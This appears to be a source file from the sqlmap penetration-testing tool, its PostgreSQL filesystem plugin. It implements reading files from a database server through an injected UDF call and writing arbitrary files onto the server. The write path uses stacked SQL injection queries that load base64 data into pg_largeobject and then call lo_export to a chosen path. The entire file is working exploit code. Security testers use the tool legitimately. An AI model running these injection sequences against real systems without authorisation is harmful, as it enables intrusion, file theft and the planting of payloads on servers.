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114 lines
4.1 KiB
Python
114 lines
4.1 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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from lib.core.common import randomInt
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from lib.core.data import logger
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.request import inject
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def __init__(self):
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self.oid = None
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GenericFilesystem.__init__(self)
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def unionReadFile(self, rFile):
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errMsg = "PostgreSQL does not support file reading with UNION "
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errMsg += "query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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self.initEnv()
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return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "PostgreSQL does not support file upload with UNION "
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errMsg += "query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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wFileSize = os.path.getsize(wFile)
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if wFileSize > 8192:
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errMsg = "on PostgreSQL it is not possible to write files "
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errMsg += "bigger than 8192 bytes at the moment"
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raise sqlmapUnsupportedFeatureException, errMsg
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self.oid = randomInt()
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debugMsg = "creating a support table to write the base64 "
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debugMsg += "encoded file to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "text")
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logger.debug("encoding file to its base64 string value")
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fcEncodedList = self.fileEncode(wFile, "base64", False)
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debugMsg = "forging SQL statements to write the base64 "
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debugMsg += "encoded file to the support table"
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logger.debug(debugMsg)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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logger.debug("inserting the base64 encoded file to the support table")
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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debugMsg = "create a new OID for a large object, it implicitly "
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debugMsg += "adds an entry in the large objects system table"
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logger.debug(debugMsg)
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# References:
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# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
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# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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inject.goStacked("SELECT lo_create(%d)" % self.oid)
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debugMsg = "updating the system large objects table assigning to "
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debugMsg += "the just created OID the binary (base64 decoded) UDF "
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debugMsg += "as data"
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logger.debug(debugMsg)
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# Refereces:
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# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
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# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
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#
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# NOTE: From PostgreSQL site:
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#
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# "The data stored in the large object will never be more than
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# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
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# typically 2 Kb"
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#
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# As a matter of facts it was possible to store correctly a file
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# large 13776 bytes, the problem arises at next step (lo_export())
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inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
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debugMsg = "exporting the OID %s file content to " % fileType
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debugMsg += "file '%s'" % dFile
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logger.debug(debugMsg)
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# NOTE: lo_export() exports up to only 8192 bytes of the file
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# (pg_largeobject 'data' field)
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inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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